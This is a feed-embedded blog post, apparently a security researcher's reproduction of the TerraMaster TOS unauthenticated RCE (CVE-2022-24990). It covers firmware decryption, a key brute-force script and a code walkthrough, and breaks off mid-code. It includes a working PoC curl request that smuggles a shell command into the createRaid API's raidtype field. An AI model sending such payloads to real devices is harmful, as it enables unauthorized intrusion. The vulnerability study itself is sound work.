      <category term="web安全" scheme="https://lnng.top/categories/web%E5%AE%89%E5%85%A8/"/>
    
    
      <category term="文件上传" scheme="https://lnng.top/tags/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/"/>
    
      <category term="SQL注入" scheme="https://lnng.top/tags/SQL%E6%B3%A8%E5%85%A5/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2022-24990TerraMaster TOS未授权远程命令执行漏洞复现</title>
    <link href="https://lnng.top/posts/68c7.html"/>
    <id>https://lnng.top/posts/68c7.html</id>
    <published>2022-06-10T08:54:00.000Z</published>
    <updated>2022-06-10T08:55:16.423Z</updated>
    
    <content type="html"><![CDATA[<h3 id="1-漏洞信息"><a href="#1-漏洞信息" class="headerlink" title="1.漏洞信息"></a>1.漏洞信息</h3><p>2022年3月7日，互联网上公开了 TerraMaster TOS 的未授权远程命令执行漏洞，漏洞适用于所有 4.2.x 版本 &lt; 4.2.30，以及所有 4.1.x 版本。</p><h3 id="2-漏洞复现"><a href="#2-漏洞复现" class="headerlink" title="2.漏洞复现"></a>2.漏洞复现</h3><h4 id="2-1-源码的获取"><a href="#2-1-源码的获取" class="headerlink" title="2.1 源码的获取"></a>2.1 源码的获取</h4><p>官网目前已经无老版本的固件下载连接，需要到论坛获取下载连接</p><p>漏洞版本下载连接:<a href="https://download2.terra-master.com/TOS_S2.0_Install_JM33_4.2.15_2107221409_2107221412.ins" target="_blank" rel="noopener">https://download2.terra-master.com/TOS_S2.0_Install_JM33_4.2.15_2107221409_2107221412.ins</a></p><p><img src="/images/pasted-694.png" alt="upload successful"></p><p>需要解压，binwalk解压后</p><p><img src="/images/pasted-695.png" alt="upload successful"></p><p><img src="/images/pasted-696.png" alt="upload successful"></p><p><img src="/images/pasted-697.png" alt="upload successful"></p><p><img src="/images/pasted-698.png" alt="upload successful"></p><p><img src="/images/pasted-699.png" alt="upload successful"></p><p>打开源码发现，文件是加密的</p><p><img src="/images/pasted-700.png" alt="upload successful"></p><p>去看看有没有别人破解的</p><p><a href="http://xibai.xyz/2022/02/24/%E9%93%81%E5%A8%81%E9%A9%ACF2-420-4-1-27%E5%9B%BA%E4%BB%B6%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/" target="_blank" rel="noopener">http://xibai.xyz/2022/02/24/%E9%93%81%E5%A8%81%E9%A9%ACF2-420-4-1-27%E5%9B%BA%E4%BB%B6%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/</a></p><p><a href="https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63" target="_blank" rel="noopener">https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63</a></p><p><img src="/images/pasted-701.png" alt="upload successful"></p><p><img src="/images/pasted-702.png" alt="upload successful"></p><p><img src="/images/pasted-703.png" alt="upload successful"></p><p><img src="/images/pasted-704.png" alt="upload successful"></p><p><img src="/images/pasted-705.png" alt="upload successful"></p><p><img src="/images/pasted-706.png" alt="upload successful"></p><p><img src="/images/pasted-707.png" alt="upload successful"></p><p>看了下大佬文章发现，是基于screw_aes项目改的</p><p><a href="https://github.com/del-xiong/screw-plus" target="_blank" rel="noopener">https://github.com/del-xiong/screw-plus</a> 下载查看一下是在原有的基础上加了异或，但是不知道异或的数是多少，因为proc文件为空，尝试爆破这个异或的数值进行解密</p><p>解密脚本 记得改screw路径 和 解密目标文件</p><pre class=" language-python"><code class="language-python"><span class="token keyword">import</span> os<span class="token keyword">def</span> <span class="token function">getAllSub</span><span class="token punctuation">(</span>path<span class="token punctuation">,</span> dirlist<span class="token operator">=</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span> filelist<span class="token operator">=</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    flist <span class="token operator">=</span> os<span class="token punctuation">.</span>listdir<span class="token punctuation">(</span>path<span class="token punctuation">)</span>    <span class="token keyword">for</span> filename <span class="token keyword">in</span> flist<span class="token punctuation">:</span>        subpath <span class="token operator">=</span> os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>join<span class="token punctuation">(</span>path<span class="token punctuation">,</span> filename<span class="token punctuation">)</span>        <span class="token keyword">if</span> os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>isdir<span class="token punctuation">(</span>subpath<span class="token punctuation">)</span><span class="token punctuation">:</span>            dirlist<span class="token punctuation">.</span>append<span class="token punctuation">(</span>subpath<span class="token punctuation">)</span>  <span class="token comment" spellcheck="true"># 如果是文件夹，添加到文件夹列表中</span>            getAllSub<span class="token punctuation">(</span>subpath<span class="token punctuation">,</span> dirlist<span class="token punctuation">,</span> filelist<span class="token punctuation">)</span>  <span class="token comment" spellcheck="true"># 向子文件内递归</span>        <span class="token keyword">if</span> os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>isfile<span class="token punctuation">(</span>subpath<span class="token punctuation">)</span><span class="token punctuation">:</span>            filelist<span class="token punctuation">.</span>append<span class="token punctuation">(</span>subpath<span class="token punctuation">)</span>  <span class="token comment" spellcheck="true"># 如果是文件，添加到文件列表中</span>    <span class="token keyword">return</span> dirlist<span class="token punctuation">,</span> filelist<span class="token keyword">def</span> <span class="token function">getSufFilePath</span><span class="token punctuation">(</span>fileList<span class="token punctuation">,</span> suffix<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token comment" spellcheck="true"># print(len(fileList))</span>    <span class="token keyword">for</span> ff <span class="token keyword">in</span> fileList<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">:</span>  <span class="token comment" spellcheck="true"># 这种写法可以避免循环判断删除时跳过一些项</span>        <span class="token keyword">if</span> <span class="token operator">not</span> ff<span class="token punctuation">.</span>endswith<span class="token punctuation">(</span>suffix<span class="token punctuation">)</span><span class="token punctuation">:</span>            fileList<span class="token punctuation">.</span>remove<span class="token punctuation">(</span>ff<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">ecryption</span><span class="token punctuation">(</span>filename<span class="token punctuation">)</span><span class="token punctuation">:</span>    head<span class="token punctuation">,</span> tail <span class="token operator">=</span> os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>split<span class="token punctuation">(</span>filename<span class="token punctuation">)</span>    filename2 <span class="token operator">=</span> tail<span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">"."</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>    path <span class="token operator">=</span> head <span class="token operator">+</span> <span class="token string">"/"</span> <span class="token operator">+</span> filename2 <span class="token operator">+</span> <span class="token string">"_decryption"</span> <span class="token operator">+</span> <span class="token string">'.php'</span>    i <span class="token operator">=</span> <span class="token number">0</span>    <span class="token keyword">while</span><span class="token punctuation">(</span>i <span class="token operator">&lt;</span> <span class="token number">256</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">with</span> open<span class="token punctuation">(</span>filename<span class="token punctuation">,</span> <span class="token string">'rb'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>            debug_cipher <span class="token operator">=</span> f<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span>            <span class="token keyword">with</span> open<span class="token punctuation">(</span>path<span class="token punctuation">,</span> <span class="token string">'wb'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> o<span class="token punctuation">:</span>                o<span class="token punctuation">.</span>write<span class="token punctuation">(</span>debug_cipher<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token number">32</span><span class="token punctuation">]</span><span class="token punctuation">)</span>                <span class="token keyword">for</span> j <span class="token keyword">in</span> debug_cipher<span class="token punctuation">[</span><span class="token number">32</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">:</span>                    o<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token punctuation">(</span>i <span class="token operator">^</span> j<span class="token punctuation">)</span><span class="token punctuation">.</span>to_bytes<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">'big'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            f<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span>            o<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span>            os<span class="token punctuation">.</span>system<span class="token punctuation">(</span><span class="token string">'/root/桌面/screw-plus-master/tools/screw '</span> <span class="token operator">+</span> path <span class="token operator">+</span> <span class="token string">' -d'</span><span class="token punctuation">)</span>            <span class="token keyword">with</span> open<span class="token punctuation">(</span>path<span class="token punctuation">,</span> <span class="token string">'rb'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> p<span class="token punctuation">:</span>                <span class="token keyword">if</span> p<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span> <span class="token operator">==</span> b<span class="token string">'&lt;?php'</span><span class="token punctuation">:</span>                    <span class="token keyword">print</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span>                    p<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span>                    <span class="token keyword">break</span>                <span class="token keyword">else</span><span class="token punctuation">:</span>                    i <span class="token operator">=</span> i <span class="token operator">+</span> <span class="token number">1</span><span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">"__main__"</span><span class="token punctuation">:</span>    path <span class="token operator">=</span> r<span class="token string">'/root/桌面/TOS4.2.31/TOS4.2.31/FILES/usr/www/'</span>    Dirlist<span class="token punctuation">,</span> Filelist <span class="token operator">=</span> getAllSub<span class="token punctuation">(</span>path<span class="token punctuation">)</span>    getSufFilePath<span class="token punctuation">(</span>Filelist<span class="token punctuation">,</span> <span class="token string">'.php'</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> FilePhp <span class="token keyword">in</span> Filelist<span class="token punctuation">:</span>        <span class="token comment" spellcheck="true"># print(FilePhp)</span>        ecryption<span class="token punctuation">(</span>FilePhp<span class="token punctuation">)</span></code></pre><p>解密结果是目标文件后加_decryption的php文件</p><p><img src="/images/pasted-708.png" alt="upload successful"></p><h4 id="2-2-漏洞分析"><a href="#2-2-漏洞分析" class="headerlink" title="2.2 漏洞分析"></a>2.2 漏洞分析</h4><p>查看poc</p><pre class=" language-shell"><code class="language-shell">curl -vk 'http://XXXX/module/api.php?mobile/createRaid' -H 'User-Agent: TNAS' -H 'AUTHORIZATION: $1$2kc1Zqe8$gi6hkBlDDDFHpG3RkZtws1' -d 'raidtype=;id>/tmp/a.txt;&amp;diskstring=XXXX' -H 'TIMESTAMP: 1642335373' -H 'SIGNATURE: 473a6d90ede9392eebd8a7995a0471fe' | jq -r</code></pre><p>出现问题的是api.php</p><p>查看该文件</p><pre class=" language-php"><code class="language-php"><span class="token delimiter">&lt;?php</span><span class="token comment" spellcheck="true">/** * Created by PhpStorm. * User: Jaylin * Date: 2017/2/28 * Time: 14:19 */</span><span class="token keyword">include_once</span> <span class="token string">"../include/app.php"</span><span class="token punctuation">;</span><span class="token keyword">include_once</span> <span class="token string">"../include/function/mobile.php"</span><span class="token punctuation">;</span><span class="token shell-comment comment">#关闭所有函数报错...</span>@<span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$default_controller</span> <span class="token operator">=</span> <span class="token string">"mobile"</span><span class="token punctuation">;</span><span class="token variable">$default_action</span> <span class="token operator">=</span> <span class="token string">"index"</span><span class="token punctuation">;</span><span class="token variable">$in</span> <span class="token operator">=</span> <span class="token function">router</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$URI</span> <span class="token operator">=</span> <span class="token variable">$in</span><span class="token punctuation">[</span><span class="token string">'URLremote'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isset</span><span class="token punctuation">(</span><span class="token variable">$URI</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token variable">$URI</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token string">''</span><span class="token punctuation">)</span> <span class="token variable">$URI</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$default_controller</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isset</span><span class="token punctuation">(</span><span class="token variable">$URI</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token variable">$URI</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token string">''</span><span class="token punctuation">)</span> <span class="token variable">$URI</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$default_action</span><span class="token punctuation">;</span><span class="token function">define</span><span class="token punctuation">(</span><span class="token string">'Module'</span><span class="token punctuation">,</span> <span class="token variable">$URI</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">define</span><span class="token punctuation">(</span><span class="token string">'Action'</span><span class="token punctuation">,</span> <span class="token variable">$URI</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$class</span> <span class="token operator">=</span> Module<span class="token punctuation">;</span><span class="token variable">$function</span> <span class="token operator">=</span> Action<span class="token punctuation">;</span><span class="token shell-comment comment">#定义不需要验证登录的方法...</span><span class="token variable">$GLOBALS</span><span class="token punctuation">[</span><span class="token string">'NO_LOGIN_CHECK'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string">"webNasIPS"</span><span class="token punctuation">,</span> <span class="token string">"getDiskList"</span><span class="token punctuation">,</span> <span class="token string">"createRaid"</span><span class="token punctuation">,</span> <span class="token string">"getInstallStat"</span><span class="token punctuation">,</span> <span class="token string">"getIsConfigAdmin"</span><span class="token punctuation">,</span> <span class="token string">"setAdminConfig"</span><span class="token punctuation">,</span> <span class="token string">"isConnected"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">in_array</span><span class="token punctuation">(</span><span class="token variable">$function</span><span class="token punctuation">,</span> <span class="token variable">$GLOBALS</span><span class="token punctuation">[</span><span class="token string">'NO_LOGIN_CHECK'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>    <span class="token function">define</span><span class="token punctuation">(</span><span class="token string">'REQUEST_MODE'</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment" spellcheck="true">//加载原始session</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isset</span><span class="token punctuation">(</span><span class="token variable">$in</span><span class="token punctuation">[</span><span class="token string">'PHPSESSID'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span><span class="token function">empty</span><span class="token punctuation">(</span><span class="token variable">$in</span><span class="token punctuation">[</span><span class="token string">'PHPSESSID'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>        <span class="token function">session_id</span><span class="token punctuation">(</span><span class="token variable">$in</span><span class="token punctuation">[</span><span class="token string">'PHPSESSID'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token variable">$GLOBALS</span><span class="token punctuation">[</span><span class="token string">'sessionid'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token variable">$in</span><span class="token punctuation">[</span><span class="token string">'PHPSESSID'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span>    @<span class="token function">session_start</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    @<span class="token function">session_write_close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment" spellcheck="true">//初始化阵列</span>    <span class="token variable">$raid</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">raid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token variable">$base_md</span> <span class="token operator">=</span> <span class="token variable">$raid</span><span class="token operator">-</span><span class="token operator">></span><span class="token function">_main_disk</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">empty</span><span class="token punctuation">(</span><span class="token variable">$base_md</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>        <span class="token function">define</span><span class="token punctuation">(</span><span class="token string">'DATA_BASE'</span><span class="token punctuation">,</span> <span class="token string">"$base_md/"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>        <span class="token function">define</span><span class="token punctuation">(</span><span class="token string">'DATA_BASE'</span><span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span>    <span class="token function">define</span><span class="token punctuation">(</span><span class="token string">'USER_PATH'</span><span class="token punctuation">,</span> <span class="token constant">DATA_BASE</span> <span class="token punctuation">.</span> <span class="token string">"User/"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true">//用户目录</span>    <span class="token function">define</span><span class="token punctuation">(</span><span class="token string">'PUBLIC_PATH'</span><span class="token punctuation">,</span> <span class="token constant">DATA_BASE</span> <span class="token punctuation">.</span> <span class="token string">"public/"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true">//公共目录</span>    <span class="token function">define</span><span class="token punctuation">(</span><span class="token string">'DATA_THUMB'</span><span class="token punctuation">,</span> <span class="token constant">DATA_BASE</span> <span class="token punctuation">.</span> <span class="token string">'@system/thumb/'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment" spellcheck="true">//缩略图生成存放</span><span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>    <span class="token function">define</span><span class="token punctuation">(</span><span class="token string">'REQUEST_MODE'</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token variable">$instance</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token variable">$class</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">in_array</span><span class="token punctuation">(</span><span class="token variable">$function</span><span class="token punctuation">,</span> <span class="token variable">$class</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token variable">$notHeader</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>    <span class="token shell-comment comment">#防止请求重放验证...</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">tos_encrypt_str</span><span class="token punctuation">(</span><span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string">'HTTP_TIMESTAMP'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string">'HTTP_SIGNATURE'</span><span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string">'REQUEST_TIME'</span><span class="token punctuation">]</span> <span class="token operator">-</span> <span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string">'HTTP_TIMESTAMP'</span><span class="token punctuation">]</span> <span class="token operator">></span> <span class="token number">300</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>        <span class="token variable">$instance</span><span class="token operator">-</span><span class="token operator">></span><span class="token function">output</span><span class="token punctuation">(</span><span class="token string">"Illegal request, timeout!"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token variable">$instance</span><span class="token operator">-</span><span class="token operator">></span><span class="token variable">$function</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p><img src="/images/pasted-709.png" alt="upload successful"></p><p><img src="/images/pasted-710.png" alt="upload successful"></p><pre class=" language-php"><code class="language-php"><span class="token keyword">function</span> <span class="token function">stripslashes_deep</span><span class="token punctuation">(</span><span class="token variable">$value</span><span class="token punctuation">)</span><span class="token punctuation">{</span>     <span class="token variable">$value</span> <span class="token operator">=</span> <span class="token function">is_array</span><span class="token punctuation">(</span><span class="token variable">$value</span><span class="token punctuation">)</span> <span class="token operator">?</span> <span class="token function">array_map</span><span class="token punctuation">(</span><span class="token string">'stripslashes_deep'</span><span class="token punctuation">,</span> <span class="token variable">$value</span><span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token punctuation">(</span><span class="token function">isset</span><span class="token punctuation">(</span><span class="token variable">$value</span><span class="token punctuation">)</span> <span class="token operator">?</span> <span class="token function">stripslashes</span><span class="token punctuation">(</span><span class="token variable">$value</span><span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span>     <span class="token keyword">return</span> <span class="token variable">$value</span><span class="token punctuation">;</span><span class="token punctuation">}</span></code></pre><p>继续看api.php</p><p><img src="/images/pasted-711.png" alt="upload successful"></p><p><img src="/images/pasted-712.png" alt="upload successful"></p><p><img src="/images/pasted-713.png" alt="upload successful"></p><p>首先看NO_LOGIN_CHECK 主要在判断是否需要登录判断</p><p>先看一下不需要登录的指定方法发现都在www\include\class\mobile_decryption.php这个文件的类中</p><p><img src="/images/pasted-714.png" alt="upload successful"></p><p>mobile_decryption.php</p><p><img src="/images/pasted-715.png" alt="upload successful"></p><p>先看下他的构造方法</p><pre class=" language-php"><code class="language-php"><span class="token comment" spellcheck="true">//不检查是否登录..</span><span class="token keyword">static</span> <span class="token variable">$notCheck</span> <span class="token operator">=</span> <span class="token punctuation">[</span>    <span class="token string">"webNasIPS"</span><span class="token punctuation">,</span> <span class="token string">"getDiskList"</span><span class="token punctuation">,</span> <span class="token string">"createRaid"</span><span class="token punctuation">,</span> <span class="token string">"getInstallStat"</span><span class="token punctuation">,</span> <span class="token string">"getIsConfigAdmin"</span><span class="token punctuation">,</span> <span class="token string">"setAdminConfig"</span><span class="token punctuation">,</span> <span class="token string">"isConnected"</span><span class="token punctuation">,</span><span class="token string">'createid'</span><span class="token punctuation">,</span>    <span class="token string">'user_create'</span><span class="token punctuation">,</span><span class="token string">'user_bond'</span><span class="token punctuation">,</span><span class="token string">'user_release'</span><span class="token punctuation">,</span><span class="token string">'login'</span><span class="token punctuation">,</span> <span class="token string">'logout'</span><span class="token punctuation">,</span> <span class="token string">'checkCode'</span><span class="token punctuation">,</span> <span class="token string">"wapNasIPS"</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token comment" spellcheck="true">//不验证头信息是否匹配...</span><span class="token keyword">static</span> <span class="token variable">$notHeader</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"fileDownload"</span><span class="token punctuation">,</span> <span class="token string">"videoPlay"</span><span class="token punctuation">,</span> <span class="token string">"imagesThumb"</span><span class="token punctuation">,</span> <span class="token string">"imagesView"</span><span class="token punctuation">,</span> <span class="token string">"fileUpload"</span><span class="token punctuation">,</span> <span class="token string">"tempClear"</span><span class="token punctuation">,</span> <span class="token string">"wapNasIPS"</span><span class="token punctuation">,</span> <span class="token string">"webNasIPS"</span><span class="token punctuation">,</span> <span class="token string">"isConnected"</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">private</span> <span class="token keyword">static</span> <span class="token variable">$U</span> <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span><span class="token keyword">private</span> <span class="token keyword">static</span> <span class="token variable">$filter</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string">"."</span><span class="token punctuation">,</span> <span class="token string">".."</span><span class="token punctuation">,</span> <span class="token string">".svn"</span><span class="token punctuation">,</span> <span class="token string">"lost+found"</span><span class="token punctuation">,</span> <span class="token string">"aquota.group"</span><span class="token punctuation">,</span> <span class="token string">"aquota.user"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">{</span>    <span class="token keyword">parent</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">start</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token function">mtime</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isset</span><span class="token punctuation">(</span><span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string">'HTTP_USER_DEVICE'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string">'HTTP_USER_DEVICE'</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token string">"TNAS"</span><span class="token punctuation">)</span> <span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string">'HTTP_USER_AGENT'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"TNAS"</span><span class="token punctuation">;</span>    <span class="token comment" spellcheck="true">//排除非法请求...</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">in_array</span><span class="token punctuation">(</span>Action<span class="token punctuation">,</span> self<span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token variable">$notHeader</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">strstr</span><span class="token punctuation">(</span><span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string">'HTTP_USER_AGENT'</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token string">"TNAS"</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token operator">!</span><span class="token function">isset</span><span class="token punctuation">(</span><span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string">'HTTP_AUTHORIZATION'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">REQUESTCODE</span> <span class="token operator">!=</span> <span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string">'HTTP_AUTHORIZATION'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>            <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token function">output</span><span class="token punctuation">(</span><span class="token string">"Illegal request, please use genuine software!"</span><span class="token punctuation">,</span> <span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">}</span>    <span class="token punctuation">}</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token constant">REQUEST_MODE</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token constant">DATA_BASE</span> <span class="token operator">==</span> <span class="token keyword">null</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>            <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token function">output</span><span class="token punctuation">(</span><span class="token string">"main raid not exists"</span><span class="token punctuation">,</span> <span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token comment" spellcheck="true">//避免session不可写导致循环跳转</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isset</span><span class="token punctuation">(</span><span class="token variable">$_SESSION</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>            <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token function">output</span><span class="token punctuation">(</span><span class="token string">"session write error!"</span><span class="token punctuation">,</span> <span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>            <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">user</span> <span class="token operator">=</span> <span class="token operator">&amp;</span><span class="token variable">$_SESSION</span><span class="token punctuation">[</span><span class="token string">'kod_user'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isset</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">in</span><span class="token punctuation">[</span><span class="token string">'PHPSESSID'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token 